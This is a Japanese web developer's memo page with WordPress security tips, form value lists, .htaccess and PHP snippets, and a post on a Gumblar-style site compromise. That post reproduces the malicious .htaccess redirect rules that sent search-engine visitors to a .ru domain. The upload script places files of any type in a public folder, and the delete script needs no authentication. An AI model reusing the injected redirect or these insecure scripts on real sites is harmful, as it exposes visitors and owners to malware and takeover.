フォノクラフト株式会社:作業メモや備忘録など

作業メモや備忘録など…

[WP]インストール前から気をつけること(セキュリティ的観点から)

without comments

前置き

wordpressのセキュリティレベルを少しでもを上げる為に、インストール前に確認しておきたいこと。
特にDBのプレフィックスなど後から変更しにくいものもあるので事前に意識しておく。

何れも“気休め”程度にしかならないかも知れない。
しかし1%でもセキュリティレベルが上がれば…と願いつつ。

確認項目

1.インストール時に気をつけること

  1. 必ず最新のwordpressで構築する(※1)
  2. DBのプレフィックス(Prefix)をデフォルトの「wp_」から乱数などに変更する
  3. 管理者名を「admin」のままにしない
  4. 管理者パスワードは乱数などの「複雑なもの」にする

※1:
使い慣れた、または有用なプラグインが最新バージョンに対応していないので最新版が使えない…といった場合もあるが、極力最新版を使う様に心がけたい

2.インストール直後に行っておくこと

  1. /wp-admin ディレクトリ直下に ベーシック認証(.htaccess/.htpasswd)を設定する
  2. /wp-config.php にセキュリティキーを設定する
  3. /wp-config.php や /.htaccess はパーミッションを444(Read Only)にしておく
  4. セキュリティ関連のプラグイン『Secure WordPress』等を入れておく(下記参照)
  5. プラグイン『Akismet』を有効にしておく(WordPress.comでAPI keyを取得する)
  6. デフォルトのサンプル固定ページとコメントは削除(メッセンジャー云々、ゴッサム云々、という固定ページ….)

3.運用中に行うこと、心がけること

  1. 可能な限り新しいバージョンのWordPressを更新しつづける
  2. 定期的にDBやwordpress本体のバックアップを取っておく
  3. プラグイン『admin-ip-watcher』から送られてくるメールを注視する

4.その他(ガンプラー対策も含めて)

  1. FTP接続ではなく、FTPS(FTP-SSL )やSFTPで接続する
  2. FTPクライアント『FFFTP』は使用しない(SFTPに対応していない、また攻撃されやすい為)
  3. 可能な限りWindows以外のOSで作業する(ウィルスに感染しにくい為)

もしファイル改ざんされてしまったら、真っ先に行う事

まず発見した時点で

  1. 解決する迄、一時的にサイトをクローズする(訪問者に被害が及ぶ可能性が高い為)

次に

  1. WordPressを最新のバージョンにアップデートする
  2. プラグイン等の関係でアップデートが無理ならばgrep等で「base64」というキーワードでwordpress全体を検索し該当箇所を潰す。htmlファイルには妙なJSが埋め込まれていることがある。.htaccessにも妙な埋め込みもある。他にphp自体の改ざん等いろいろある。。。。)
  3. 管理画面などのパスワードを変更する

wordpressセキュリティに関する、有益なサイト

フォームで使う値など、いろいろコピペ用

without comments

使い道

コピペ、またはDB流し込み用に

ソース

時間(分)

1〜5分
5〜10分
10〜15分
15〜20分
20〜25分
25〜20分
30〜35分
35〜30分
40〜45分
45〜40分
50〜55分
55〜50分
60〜65分
65〜60分
70〜75分
75〜70分
80〜85分
85〜80分
90〜95分
95〜100分
100分 以上

人数

1〜30名
30〜50名
50〜70名
70〜100名
100〜130名
130〜150名
150〜170名
170〜200名
200〜230名
230〜250名
250〜270名
270〜300名
300名 以上

時間(営業時間)

----- 8:00 ------
8:00〜16:00
8:00〜16:30
8:00〜17:00
8:00〜17:30
8:00〜18:00
8:00〜18:30
8:00〜19:00
8:00〜19:30
8:00〜20:00
8:00〜20:30
8:00〜21:00
8:00〜21:30
8:00〜22:00
8:00〜22:30
----- 8:30 ------
8:30〜16:00
8:30〜16:30
8:30〜17:00
8:30〜17:30
8:30〜18:30
8:30〜18:30
8:30〜19:00
8:30〜19:30
8:30〜20:00
8:30〜20:30
8:30〜21:00
8:30〜21:30
8:30〜22:00
8:30〜22:30
----- 9:00 ------
9:00〜16:00
9:00〜16:30
9:00〜17:00
9:00〜17:30
9:00〜18:00
9:00〜18:30
9:00〜19:00
9:00〜19:30
9:00〜20:00
9:00〜20:30
9:00〜21:00
9:00〜21:30
9:00〜22:00
9:00〜22:30
----- 9:30 ------
9:30〜16:00
9:30〜16:30
9:30〜17:00
9:30〜17:30
9:30〜18:00
9:30〜18:30
9:30〜19:00
9:30〜19:30
9:30〜20:00
9:30〜20:30
9:30〜21:00
9:30〜21:30
9:30〜22:00
9:30〜22:30
----- 10:00 ------
10:00〜16:00
10:00〜16:30
10:00〜17:00
10:00〜17:30
10:00〜18:00
10:00〜18:30
10:00〜19:00
10:00〜19:30
10:00〜20:00
10:00〜20:30
10:00〜21:00
10:00〜21:30
10:00〜22:00
10:00〜22:30

賞与

1ヶ月分
1.1ヶ月分
1.2ヶ月分
1.3ヶ月分
1.4ヶ月分
1.5ヶ月分
1.6ヶ月分
1.7ヶ月分
1.8ヶ月分
1.9ヶ月分
2ヶ月分
2.1ヶ月分
2.2ヶ月分
2.3ヶ月分
2.4ヶ月分
2.5ヶ月分
2.6ヶ月分
2.7ヶ月分
2.8ヶ月分
2.9ヶ月分
3ヶ月分
3.1ヶ月分
3.2ヶ月分
3.3ヶ月分
3.4ヶ月分
3.5ヶ月分
3.6ヶ月分
3.7ヶ月分
3.8ヶ月分
3.9ヶ月分
4ヶ月分

都道府県

北海道
青森県
岩手県
宮城県
秋田県
山形県
福島県
茨城県
栃木県
群馬県
埼玉県
千葉県
東京都
神奈川県
新潟県
富山県
石川県
福井県
山梨県
長野県
岐阜県
静岡県
愛知県
三重県
滋賀県
京都府
大阪府
兵庫県
奈良県
和歌山県
鳥取県
島根県
岡山県
広島県
山口県
徳島県
香川県
愛媛県
高知県
福岡県
佐賀県
長崎県
熊本県
大分県
宮崎県
鹿児島県
沖縄県

年数

1年
2年
3年
4年
5年
6年
7年
8年
9年
10年
11年
12年
13年
14年
15年
16年
17年
18年
19年
20年
21年
22年
23年
24年
25年
26年
27年
28年
29年
30年
31年
32年
33年
34年
35年
36年
37年
38年
39年
40年
41年
42年
43年
44年
45年
46年
47年
48年
49年
50年
51年
52年
53年
54年
55年
56年
57年
58年
59年
60年
61年
62年
63年
64年
65年
66年
67年
68年
69年
70年
71年
72年
73年
74年
75年
76年
77年
78年
79年
80年
81年
82年
83年
84年
85年
86年
87年
88年
89年
90年
91年
92年
93年
94年
95年
96年
97年
98年
99年
100年

Categoty in DataBase / Form

htaccess でキャリア振り分け

without comments

使い道

厳密ではなく簡易的に、かつ簡単に実装したい場合。

記述例(1)

まとめて記述

#RewriteEngineを有効にする
RewriteEngine on

#↓ユーザエージェントからを見てそれぞれのページへ
#携帯
RewriteCond %{HTTP_USER_AGENT} ^DoCoMo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^KDDI [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Up.Browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^J-PHONE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^vodafone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SoftBank [NC]
RewriteRule ^.*$ http://*****.***/mobile/ [L]

#アップル
RewriteCond %{HTTP_USER_AGENT} ^iPod [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^iPad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^iPhone [NC]
RewriteRule ^.*$ http://*****.***/iphone/ [L]

#アンドロイド
RewriteCond %{HTTP_USER_AGENT} ^Android [NC]
RewriteRule ^.*$ http://*****.***/android/ [L]

記述例(2)

一つ一つ分けて記述

# Options -Indexes
# < IfModule mod_rewrite.c>

# DoCoMo
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} DoCoMo
RewriteRule ^$ /smp/ [R]

# Softbank
RewriteCond %{HTTP_USER_AGENT} J-PHONE
RewriteRule ^$ /smp/ [R]
RewriteCond %{HTTP_USER_AGENT} Vodafone
RewriteRule ^$ /smp/ [R]
RewriteCond %{HTTP_USER_AGENT} SoftBank
RewriteRule ^$ /smp/ [R]

# AU KDDI
RewriteCond %{HTTP_USER_AGENT} KDDI
RewriteRule ^$ /smp/ [R]
RewriteCond %{HTTP_USER_AGENT} UP.Browser
RewriteRule ^$ /smp/ [R]

# DDI Pocket
RewriteCond %{HTTP_USER_AGENT} DDIPOCKET
RewriteRule ^$ /smp/ [R]

# WILLCOM
RewriteCond %{HTTP_USER_AGENT} WILLCOM
RewriteRule ^$ /smp/ [R]

# iPod
RewriteCond %{HTTP_USER_AGENT} iPod
RewriteRule ^$ /smp/ [R]

# iPhone
RewriteCond %{HTTP_USER_AGENT} iPhone
RewriteRule ^$ /smp/ [R]

# Android
RewriteCond %{HTTP_USER_AGENT} Android
RewriteRule ^$ /smp/ [R]

# WILLCOM
RewriteCond %{HTTP_USER_AGENT} PDA
RewriteRule ^$ /smp/ [R]

# IE
# RewriteEngine On
# RewriteCond %{HTTP_USER_AGENT} MSIE
# RewriteRule ^$ /msie/ [R]

# PC Internet Explorer Firefox
# RewriteCond %{HTTP_USER_AGENT} Mozilla
# RewriteRule ^$ / [R]

# PC Opera
# RewriteCond %{HTTP_USER_AGENT} Opera
# RewriteRule ^$ / [R]

# Mac Safari
# RewriteCond %{HTTP_USER_AGENT} Safari
# RewriteRule ^$ / [R]
# < /IfModule>

Categoty in htaccess / iPad / iPhone / mobile

[WP] 記事文中の特定の文字列を変換するメモ

without comments

使い道

既に投稿数が多く、リンクや<p>タグなどの混入を整形するのが厄介な場合などに有用

補足説明

変数に入れるので、the_content(); ではなく get_the_content(); を使う。文字列の変換は str_replace で。

ソース

<?php 
the_content(__('Read the rest of this entry &raquo;', 'kubrick'));
?>
を下記の様に変更
<?php
$content = get_the_content();
$content = str_replace("(置き換える前の文字列)", "(置き換えた後の文字列)", $content);//変換処理
$content = preg_replace("/\n/","<br />",$content);//改行の調整
echo $content;
?> 

Categoty in PHP / WordPress

htaccessファイルの改ざんについて

without comments

経緯と原因、そして対策

FTPログやアップロードされたファイルオーナーから察するに、
おそらくFTP情報が漏れて改ざんされた可能性が高い。

改ざん内容から8080系のマルウェアGumblarの線が濃いが、
私の環境でブラウザ確認以外 Windowsは使っていない、
また、パスワードを変えても同じ被害が起こる。

ということは、

FTP通信時に抜かれている可能性も考え得る。
SFTPでの接続だが、抜かれる/漏れる可能性はゼロでは無い。
(FTPクライアントはCyberduckとTransmitの併用。)

さらに、最大の問題が
このFTPアカウントは数人が使用している。
ということ。

確認出来ていないが Windows FFFTP等からのアクセスもあるだろう。
またはキーロガーが仕込まれている。その可能性も大いにある。

応急処置として、
他の方には面倒をかけるが(固定IPで無い為設定できない)、
現在はIP制限を行い、アクセス後毎度PWを変更している。

この処置により、事態は収束したようにも見える。

他の方々には、固定IPとSFTP接続の環境を整えて頂くしかない。

環境が整い次第、個々人にFTPアカウントを切り分けて再設定して頂く。
これにより、万一再発しても、どこから改ざんされているかを特定できる。

ファイルが削除される程度なら、まだ内輪で済まされるが、
この手のリダイレクトはアクセスして頂いてる方々に迷惑かけ、
場合によっては尊大な被害を与えてしまう。

本来アカウント管理は自分では無いのだが、そうも言っていられない。

事態は深刻なのだ。

 

参考

【注意喚起】Gumblar(ガンブラー)ウイルスによる新たなホームページ改ざん被害を確認|株式会社ラック
ガンブラー対策「.htaccess」にも注意!|セキュリティーブログ
Gumblar/8080系ウィルスのサイト運営者向け対策サイト

追記された記述の例

下記の記述での 400〜500 Error や 主要検索エンジンからのアクセスの場合、未知のURLに転送されるようになってしまう。

RewriteEngine On
ErrorDocument 400 http://(ドメイン名).ru/force/index.php
ErrorDocument 401 http://(ドメイン名).ru/force/index.php
ErrorDocument 403 http://(ドメイン名).ru/force/index.php
ErrorDocument 404 http://(ドメイン名).ru/force/index.php
ErrorDocument 500 http://(ドメイン名).ru/force/index.php
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://(ドメイン名).ru/force/index.php [R=301,L]

など…………….

[WP] ループ内で連番を得る

without comments

使い道

ループ内でユニークな数値を得るには <?php echo $post->ID ?>でよいのだが、連番で必要なこともたまにあったり。

ソース/使い方

テンプレート内のfunctions.php(wp-content/themes/○○○○/functions.php)に

function getLoopIndex(){
    global $wp_query;
    return $wp_query->current_post;
}

function getLoopCount(){
    global $wp_query;
    return $wp_query->current_post+1;
}

を入れループ内に

数値0からスタート:<?php echo getLoopIndex(); ?>
数値1からスタート:<?php echo getLoopCount(); ?> 

と記述して使う。

出典

http://d.hatena.ne.jp/kanonji/20100701/1277944901

Categoty in PHP / WordPress

[WP] [wp-pagenavi] スタイル、CSS

without comments

使い道

いつも忘れてしまうので使い慣れているスタイルをメモ。

PHPソース

<div class="navigation">
<?php if(function_exists('wp_pagenavi')) { wp_pagenavi(); } ?>
</div>

CSSソース

.navigation {
	display: block;
	text-align: center;
	margin-bottom: 30px;
	font-size:12px;
	}

.wp-pagenavi {
	clear: both;
}

.wp-pagenavi a, .wp-pagenavi span {
	text-decoration: none;
	border:0px solid #FFFFFF;
	padding: 3px 5px;
	margin: 2px;
}

.wp-pagenavi a:hover, .wp-pagenavi span.current {
	color:#fff
	font-weight:bold;
	border-radius: 2px;
	-webkit-border-radius: 2px;
	-moz-border-radius: 2px;

}

.wp-pagenavi span.current {
	border:1px solid #738F3E;
	background:#738F3E;
	border-radius: 2px;
	-webkit-border-radius: 2px;
	-moz-border-radius: 2px;
}

.wp-pagenavi .pages {
	display: none;
	}

Categoty in CSS / PHP / Plugins / WordPress

[WP] 管理画面ヘッダのショートカットプルダウンを消す。

without comments

使い道

Magic Fieldsを使用した場合、権利画面ヘッダ右のプルダウンメニューがうまく機能しなくなるので、いっそのこと非表示にしてしまう。

ソース

/wp-admin/includes/template.php
1490行目付近

	$first = array_keys($allowed_actions);
	$first = $first[0];
	echo '<div id="favorite-actions" style="display:none;">';//ここに style="display:none;"を追加する
	echo '<div id="favorite-first"><a href="' . $first . '">' . $allowed_actions[$first] . '</a></div><div id="favorite-toggle"><br /></div>';
	echo '<div id="favorite-inside">';

	array_shift($allowed_actions);

	foreach ( $allowed_actions as $action => $label) {
		echo "<div class='favorite-action'><a href='$action'>";
		echo $label;
		echo "</a></div>\n";
	}
	echo "</div></div>\n";

Categoty in Magic fields / PHP / Plugins / WordPress

特定ディレクトリ内のファイルを一括削除

without comments

ディレクトリ構成

├ /upload_files/(削除するファイルを収めるのディレクトリ)
└ /file_delete_admin/
 └ index.php(スクリプト本体)

ソース ダウンロード

file_delete_set.zip

ソース

	<?php
	//ファイル削除処理
	if($_REQUEST['del'] == "del"){
		$CacheDir = "../upload_files/";//ディレクトリ名
		$dir = opendir($CacheDir);
		while(($ent = readdir()) !== FALSE) {
			if ($ent != "." && $ent != "..") {
				unlink($CacheDir."/".$ent);
			}
		}
		echo '<span style="color:#993300;">ディレクトリ内のファイルを<br />全て削除しました。</span>';
	}
	?>
	
	<ol>
	<?php
	//ファイル一覧表示
	if ($dir = opendir("../upload_files")) {//ディレクトリ名
			while (($file = readdir($dir)) !== false) {
					if ($file != "." && $file != "..") {
						echo '<li><a href="../upload_files/' . $file . '" target="_blank">' . $file . '</a><br /></li>';
					}
			} 
			closedir($dir);
	}
	?>

Categoty in File / PHP

ファイルのアップロード

without comments

説明

ファイルを日付時分にリネームしてアップロードします。
一番最後のドットだけをファイルタイプの判断材料にすることでファイル名にドットが幾つもある場合でも正確な判断をします。
inputエリアの「クリア」ボタンはおまけ。
アップしたファイルを一括削除するスクリプトもあります。

ソース

入力

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
<title>ファイルのアップロード</title> 
<!-- クリアボタン -->
<script type="text/javascript">
function sample(oId){
	var obj = document.getElementById(oId);
	var stO = obj.innerHTML;
	obj.innerHTML = stO;
}
</script>
<!-- /クリアボタン -->
</head>
<body>

<form name="UserSend" action="confirm.php" method="post" enctype="multipart/form-data">

<p>
	アップロード
</p>
<p  id="CLEARINPUT">
	<input type="file" size="40" name="upfile" value="" maxlength=""> <input type="button" value="クリア" onclick="sample('CLEARINPUT')">
</p>
<p>
	<input type="submit" name="" value="アップロードする">
</p>

</form> 

</body> 
</html>

確認&アップロード

アップロード先のディレクトリは「./upload_files」とする

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
<title>ファイルのアップロード</title> 
</head>
<body>

<p>
	<?php
	$updir = "./upload_files";
	$tmp_file = @$_FILES['upfile']['tmp_name'];
	$file_kakutyoshi = substr(strrchr(@$_FILES['upfile']['name'], '.'), 1);//最後のドットだけを判断し拡張子を取り出す(これによりファイル名にドットがある場合でもOK)
	@list($file_name,$file_type) = explode(".",@$_FILES['upfile']['name']);//ファイル名を取り出す(拡張子とファイル名をドットで区切って判断している)
	$copy_file = date("Ymd-His") . "." . $file_kakutyoshi;//ファイル名と拡張子を繋げる
	if (is_uploaded_file($_FILES["upfile"]["tmp_name"])) {
		if (move_uploaded_file($tmp_file,"$updir/$copy_file")) {
		//if($file_kakutyoshi =="") {//ファイル拡張子が取得出来なかった場合はファイルがアップされていないものと見なす
			chmod("upload_files/" . $_FILES["upfile"]["name"], 0644);
			echo $_FILES["upfile"]["name"] . "をアップロードしました。<br />";
			echo "(※アップロードしたファイルは <a href=\"" . $updir . "/" . $copy_file . "\" target=\"_blank\">こちら</a> から確認できます。)";
		} else {
			echo "ファイルをアップロードできませんでした。";
		}
	} else {
		echo "<span class=\"fcb fwb\" style=\"font-size:14px;\">ファイルが選択されていません。</span>";
	}
	?>
</p>


</body> 
</html>

Categoty in File / HTML / Mail / PHP / Upload